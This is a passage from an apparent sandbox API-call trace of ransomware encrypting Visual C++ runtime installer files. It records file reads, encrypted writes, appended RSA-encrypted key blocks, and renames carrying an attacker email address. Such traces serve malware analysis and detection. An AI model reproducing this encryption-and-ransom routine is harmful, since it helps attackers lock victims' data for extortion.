Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0174.844] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5153816) returned 1 [0174.844] ReadFile (in: hFile=0x7ec, lpBuffer=0x314d020, nNumberOfBytesToRead=0x4ea418, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314d020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4ea418, lpOverlapped=0x0) returned 1 [0175.515] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-5153816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.515] WriteFile (in: hFile=0x7ec, lpBuffer=0x3646020*, nNumberOfBytesToWrite=0x4ea418, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3646020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4ea418, lpOverlapped=0x0) returned 1 [0175.644] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4ea418 [0175.644] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0175.644] WriteFile (in: hFile=0x7ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0175.644] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0175.644] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0175.644] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0175.644] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="IKeuOrpWKBZ6tQiOFdJBurfiOZa5xV2M5UG6HJhXJ5YtwafmeU3eatnIuAwhzm6A\nZzO2qegfUQiMQzDHtwpjlBD8QHZx0+ApDBhNdyYbWdsd7mjBkMTu86tH0rkkLywm\nYE6/MZPNe3UYGwu2YoBawVnHIUko/yBxUCVrAXR8cnVNSyXYFiT/VeCaHQxRffG7\nwBiMZkvRk/JJQCY/EXG2ERJdZmfTwwSPQHijY+IEawCyoHMY761lJ8dmIfqIz9sr\nMPEeI93ljnqPHfArETxZbwX82CrBauN02qU/dDKdbr8dl0z7CUqXAuP3tbF1Oc+x\nVcXRRV2xbMJyJ828oDFjEA==\n", pcchString=0x2e3f9a8) returned 1 [0175.644] WriteFile (in: hFile=0x7ec, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0175.645] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0175.645] WriteFile (in: hFile=0x7ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0175.645] CloseHandle (hObject=0x7ec) returned 1 [0175.645] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0175.646] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653d60 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] GetLastError () returned 0x0 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] GetLastError () returned 0x0 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] FindNextFileW (in: hFindFile=0x653d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] GetLastError () returned 0x0 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] GetLastError () returned 0x0 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] FindNextFileW (in: hFindFile=0x653d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] GetLastError () returned 0x0 [0175.647] SetLastError (dwErrCode=0x0) [0175.647] GetLastError () returned 0x0 [0175.647] SetLastError (dwErrCode=0x0) [0175.648] FindNextFileW (in: hFindFile=0x653d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b0a045, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b0a045, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0175.648] SetLastError (dwErrCode=0x0) [0175.648] GetLastError () returned 0x0 [0175.648] SetLastError (dwErrCode=0x0) [0175.648] GetLastError () returned 0x0 [0175.648] SetLastError (dwErrCode=0x0) [0175.648] FindNextFileW (in: hFindFile=0x653d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0175.648] SetLastError (dwErrCode=0x0) [0175.648] GetLastError () returned 0x0 [0175.648] SetLastError (dwErrCode=0x0) [0175.648] GetLastError () returned 0x0 [0175.648] SetLastError (dwErrCode=0x0) [0175.648] FindNextFileW (in: hFindFile=0x653d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0175.648] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0175.648] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", dwFileAttributes=0x80) returned 1 [0175.649] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0 [0175.649] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=151552) returned 1 [0175.649] ReadFile (in: hFile=0x7f0, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0175.735] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.735] WriteFile (in: hFile=0x7f0, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0175.735] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25000 [0175.736] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0175.736] WriteFile (in: hFile=0x7f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0175.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0175.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0175.737] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0175.737] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="3FbsvFTpVzD2TC16nDH0zO/JWuvN91NhwY9DiKsi7iCqUw9NKZSETQiniLgvQ0Qk\nWLFPdKWmQZstokO4XlM9lSm0HT5p1+yK3zNhjo5IGLOqe9Wlnl5mO3BKj/EmfTbQ\nRnuSARX0uimx3N0XD6+vgxcvknd5fBHmJBPsnPaGZ4RqHrQwwZqOzA4kG4khLRbh\nTD15gpp0eu0m4FYFerW6+VFhXRxOr++RC1DM2HGeAQQEnFFPqp/Y7aHMcWUMEBDk\nvdGCpgV/FhLD/kdRdpyleMGZwqbu1/McEz5kX5izufmiZueREXGAQOdi2+u21cbq\nfEzd/BxBjt/F7kUlIJJtYA==\n", pcchString=0x2e3f9a8) returned 1 [0175.737] WriteFile (in: hFile=0x7f0, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0175.737] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0175.737] WriteFile (in: hFile=0x7f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0175.737] CloseHandle (hObject=0x7f0) returned 1 [0175.737] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0175.739] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0175.739] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0175.739] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0 [0175.740] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=821681) returned 1 [0175.740] ReadFile (in: hFile=0x7f0, lpBuffer=0x670020, nNumberOfBytesToRead=0xc89b1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x670020*, lpNumberOfBytesRead=0x2e3f9b4*=0xc89b1, lpOverlapped=0x0) returned 1 [0175.993] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=-821681, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.993] WriteFile (in: hFile=0x7f0, lpBuffer=0x3144020*, nNumberOfBytesToWrite=0xc89b1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3144020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc89b1, lpOverlapped=0x0) returned 1 [0175.995] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc89b1 [0175.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0175.995] WriteFile (in: hFile=0x7f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0175.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0175.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0175.995] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0175.995] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5e90, pcchString=0x2e3f9a8 | out: pszString="Ipkh7a48nPrbeZXNq6KY62FwHnifiarOA/NJu0W7+fXW5KcyzBfEavhMZNGASPKU\nEy7PogT2cDuqGyJux0n3qWDbbJiCWfitvJir1C3qc0OoGnIpTShZNS+BUkUmz0OG\nXvAdC1S0fx4VnArx6VnCiWaINFFPl2dGR81gK6FDZmqcPc0mGjMg3cIiCs55RoGs\nzOgBAliSNzY3yl7VMfx+Q8wpnvoUXFPOq7bf+vre/2csdbVvfV47OBSBHMg6Rxmw\njdPxrpI0/DTbA4hhY9E1Gew8PruQZGBo/ioUpvjy4d274BbdwOiNPciKWLgcyMD5\nPBTGGGhP2YOwhbEL8fA3jg==\n", pcchString=0x2e3f9a8) returned 1 [0175.995] WriteFile (in: hFile=0x7f0, lpBuffer=0x5b5e90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0175.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0175.995] WriteFile (in: hFile=0x7f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0175.995] CloseHandle (hObject=0x7f0) returned 1 [0175.996] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0175.997] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653ea0 [0175.997] SetLastError (dwErrCode=0x0) [0175.997] GetLastError () returned 0x0 [0175.997] SetLastError (dwErrCode=0x0) [0175.997] GetLastError () returned 0x0 [0175.997] SetLastError (dwErrCode=0x0) [0175.997] FindNextFileW (in: hFindFile=0x653ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0175.997] SetLastError (dwErrCode=0x0) [0175.997] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] FindNextFileW (in: hFindFile=0x653ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] FindNextFileW (in: hFindFile=0x653ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b0a045, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b0a045, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] FindNextFileW (in: hFindFile=0x653ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] GetLastError () returned 0x0 [0175.998] SetLastError (dwErrCode=0x0) [0175.998] FindNextFileW (in: hFindFile=0x653ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0175.998] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0175.998] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", dwFileAttributes=0x80) returned 1 [0175.999] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f4 [0175.999] GetFileSizeEx (in: hFile=0x7f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=151552) returned 1 [0175.999] ReadFile (in: hFile=0x7f4, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0176.162] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.162] WriteFile (in: hFile=0x7f4, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0176.163] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25000 [0176.163] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0176.163] WriteFile (in: hFile=0x7f4, lpBuffer=0x4452cc*, 